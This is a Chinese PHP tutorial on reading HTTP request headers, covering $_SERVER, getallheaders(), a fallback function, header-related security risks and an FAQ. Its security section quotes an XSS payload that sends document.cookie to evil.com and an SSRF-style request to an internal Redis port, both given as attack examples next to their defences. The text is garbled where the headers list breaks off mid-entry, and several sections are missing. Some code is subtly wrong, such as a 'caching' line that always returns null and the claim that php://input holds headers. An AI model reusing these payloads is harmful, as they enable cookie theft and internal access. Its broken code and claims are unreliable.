一、请求头基础认知
HTTP请求头(Request Headers)是客户端向服务器发送的元数据集合,用于传递关于请求的附加信息,如客户端能力、认证凭证、内容类型等。在Web开发中,php 获取请求头是实现安全校验、内容协商、日志追踪、API鉴权等核心功能的关键前置步骤。
以现代RESTful API为例,客户端(如移动App或前端SPA)在发起请求时,通常会携带如下关键请求头字段:
- Authorization:用于Bearer Token或Basic Auth认证
- Content-Type:指定请求体的媒体类型(如application/json)
- User-Agent:标识发起请求的客户端软件信息
- Accept:声明客户端可接收的响应内容类型
- X-Forwarded-For:记录原始客户端IP(尤其在代理后)
若后端未正确解析请求头,可能导致认证失败、内容协商错误、安全策略失效等严重问题。例如:未校验Authorization头将直接暴露API接口;忽略Content-Type可能导致JSON数据被当作普通表单处理,引发解析异常。
PHP作为服务端语言,通过超全局变量$_SERVER和内置函数getallheaders()提供请求头访问能力,二者在使用场景、兼容性、性能方面各有特点,需根据实际环境选择。
二、PHP获取请求头的主流方法
目前主流方式有三种:通过$_SERVER变量、调用getallheaders()函数、使用第三方库(如Guzzle中间件)。以下逐一对比分析:
⒈ 基于$_SERVER变量
PHP将HTTP请求头自动转换为$_SERVER数组中的键值对,规则为:
- 将头名称中的连字符
-替换为下划线_ - 添加
HTTP_前缀 - 全部转为大写
例如:请求头X-Custom-Header: test在$_SERVER中对应$_SERVER['HTTP_X_CUSTOM_HEADER']。
适用场景:Nginx/Apache环境稳定,仅需获取少量特定头字段;对性能要求高且需兼容旧版PHP(<5.4)。
局限性:IIS环境可能不生成HTTP_前缀的变量;无法获取Content-Length、Transfer-Encoding等非用户定义头。
⒉ 调用getallheaders()函数
此函数为PHP内置函数(需启用mod_headers模块),直接返回完整请求头数组,键为原始头名称(保留大小写与连字符),值为对应内容。
<?php
$headers = getallheaders();
print_r($headers);
// 示例输出:
// Array
// (
// [Host] => www.xservx.com
// [User-Agent] => Mozilla/5.0 (Windows NT 10.0; Win64; x64)
// [Accept] => text/html,application/json
// [X-Request-ID] => abc123xyz
// [Authorization] => Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
// )
?>
优势:API直观、跨Web服务器兼容性好(Apache/Nginx+PHP-FPM)、支持所有标准头字段。
注意:部分主机禁用该函数(如共享虚拟主机),需通过phpinfo()确认模块状态;IIS环境需配合FastCGI使用。
⒊ 组合方案:自动降级适配
生产环境推荐采用“尝试→回退”策略,确保兼容性:
<?php
function getRequestHeaders() {
if (function_exists('getallheaders')) {
return getallheaders();
}
$headers = [];
foreach ($_SERVER as $key => $value) {
if (strpos($key, 'HTTP_') === 0) {
$headerName = str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))));
$headers[$headerName] = $value;
}
}
// 补充非HTTP_前缀的头(如Content-Type)
if (isset($_SERVER['CONTENT_TYPE'])) {
$headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
}
if (isset($_SERVER['CONTENT_LENGTH'])) {
$headers['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
}
return $headers;
}
// 使用示例
$headers = getRequestHeaders();
$auth = $headers['Authorization'] ?? null;
?>
此方案兼顾性能与兼容性,是企业级项目的首选实现。
三、12类高频请求头详解与示例
以下按使用频率排序,列出开发者最常处理的12类请求头,每类包含标准格式、PHP获取方式、典型用途及风险提示。
认证与安全相关请求头
- Authorization
格式:Bearer <token>或Basic <base64(username:password)>
PHP获取:$auth = $_SERVER['HTTP_AUTHORIZATION'] ?? null;
典型用途:JWT/OAuth2认证、API密钥验证
⚠️ 风险:直接拼接SQL或未验证签名将导致注入攻击 - Cookie
格式:sessionid=abc123; user_pref=dark
PHP获取:$_COOKIE['sessionid']或$_SERVER['HTTP_COOKIE']
典型用途:会话维持、用户偏好存储
⚠️ 风险:明文传输敏感数据易被窃取(需配合Secure和HttpOnly属性) - Origin
格式:https://example.com
PHP获取:$_SERVER['HTTP_ORIGIN'] ?? null;
典型用途:CORS策略校验(如Access-Control-Allow-Origin响应头生成)
⚠️ 风险:不可作为唯一安全依据(可伪造),需结合Token校验
内容协商与传输类请求头
- Content-Type
格式:application/json; charset=utf-8
PHP获取:$_SERVER['CONTENT_TYPE'] ?? null;
典型用途:解析请求体(如json_decode(file_get_contents('php://input')))
⚠️ 风险:未校验类型可能导致XSS(如上传HTML文件被当作脚本执行) - Accept
格式:text/html,application/xhtml+xml,application/xml;q=0.9,** > X-Debug: true > X-API-Key: secret123 > Content-Type: application/json > Content-Length: 17 >
⒊ PHP内置调试输出
在请求处理入口添加诊断代码:
<?php
// 在index.php顶部添加
if (isset($_GET['debug_headers'])) {
header('Content-Type: application/json');
echo json_encode([
'getallheaders' => function_exists('getallheaders') ? getallheaders() : 'disabled',
'server_headers' => array_filter($_SERVER, function($k) { return strpos($k, 'HTTP_') === 0; }, ARRAY_FILTER_USE_KEY),
'request_method' => $_SERVER['REQUEST_METHOD'],
'request_uri' => $_SERVER['REQUEST_URI']
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
?>
访问:https://www.xservx.com/?debug_headers=1查看原始头数据
⒋ 伪造请求工具推荐
- Postman:支持环境变量、测试脚本(JavaScript)、自动化测试
- Insomnia:轻量级、界面简洁、支持插件扩展
- HTTPie:命令行工具,语法简洁(
http POST :8080/api user=admin)
五、安全风险与防护策略
错误处理请求头是Web攻击的常见入口点,以下为高危场景及防御方案:
若将
User-Agent直接输出到HTML页面:<div>Your browser: <?php echo $_SERVER['HTTP_USER_AGENT']; ?></div>攻击者可构造恶意UA:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
防御方案
- 输出编码:使用
htmlspecialchars($ua, ENT_QUOTES, 'UTF-8') - 内容安全策略:设置
Content-Security-Policy响应头限制脚本执行 - 输入过滤:对
Accept-Language等字段做白名单校验
通过
X-Forwarded-For伪造内网IP:GET /proxy?url=http://127.0.0.1:6379 HTTP/1.1X-Forwarded-For: 127.0.0.1
防御方案
- IP白名单:仅允许可信代理IP(如Nginx服务器IP)
- 协议校验:禁止
file://、gopher://等危险协议 - 请求限制:禁止访问内网IP段(127.0.0.0/8、192.168.0.0/16等)
⒊ 请求头长度限制配置
过长的请求头可能导致缓冲区溢出,需在Web服务器层限制:
| 服务器 | 配置项 | 推荐值 | 说明 |
|---|---|---|---|
| Nginx | large_client_header_buffers | 4 8k | 最大8KB,最多4个缓冲区 |
| Apache | LimitRequestFieldSize | 8190 | 单个头最大8KB |
| PHP-FPM | request_terminate_timeout | 30 | 防止长请求阻塞 |
⒋ 安全响应头建议配置
在PHP脚本末尾添加以下响应头增强防护:
<?php
// 防止XSS
header('Content-Security-Policy: default-src \'self\'; script-src \'self\' \'unsafe-inline\'; style-src \'self\' \'unsafe-inline\'');
// 防止点击劫持
header('X-Frame-Options: DENY');
// 强制HTTPS
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
// 禁用MIME类型嗅探
header('X-Content-Type-Options: nosniff');
// 减少Referrer信息泄露
header('Referrer-Policy: strict-origin-when-cross-origin');
?>
六、高频问题解答(FAQ)
基础认知类问题
- Q1:为什么
$_SERVER['HTTP_AUTHORIZATION']为空? - A:常见于Apache环境未启用
mod_rewrite或Nginx未传递头。解决方案:
① Apache:在.htaccess添加RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
② Nginx:配置fastcgi_param HTTP_AUTHORIZATION $http_authorization; - Q2:
getallheaders()返回空数组? - A:检查PHP运行模式:
① CGI/FastCGI模式下可能不支持 → 改用$_SERVER组合方案
② 主机商禁用该函数 → 联系客服开启mod_headers模块 - Q3:如何获取原始请求头(含大小写)?
- A:
$_SERVER自动转为大写,需用getallheaders()或解析php://input(仅限CLI模式)
环境兼容性问题
- Q1:IIS环境如何获取请求头?
- A:IIS通过
HTTP_前缀映射,但部分头(如Authorization)需手动配置:
① 在web.config添加<system.webServer><security><requestFiltering><requestLimits><headerLimits><add header="Authorization" sizeLimit="1024" /></headerLimits></requestLimits></security></system.webServer>
② 确保PHP以FastCGI模式运行 - Q2:Docker容器中
getallheaders()失效? - A:检查
php-fpm.conf是否启用clear_env = no,否则$_SERVER变量被清空 - Q3:Swoole协程环境如何获取请求头?
- A:使用
$request->header数组(注意:字段名为小写):
$ua = $request->header['user-agent'] ?? null;
性能与监控
- Q1:频繁调用
getallheaders()影响性能? - A:建议缓存结果:
$headers = $_SERVER['REQUEST_TIME'] ? null : getallheaders(); - Q2:如何监控异常请求头?
- A:在日志中记录可疑字段:
error_log("Suspicious UA: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'empty'));
结合ELK栈实现自动化告警 - Q3:请求头过大导致502错误?
- A:检查三处限制:
① Nginx:client_header_buffer_size
② PHP:max_input_vars
③ 应用层:post_max_size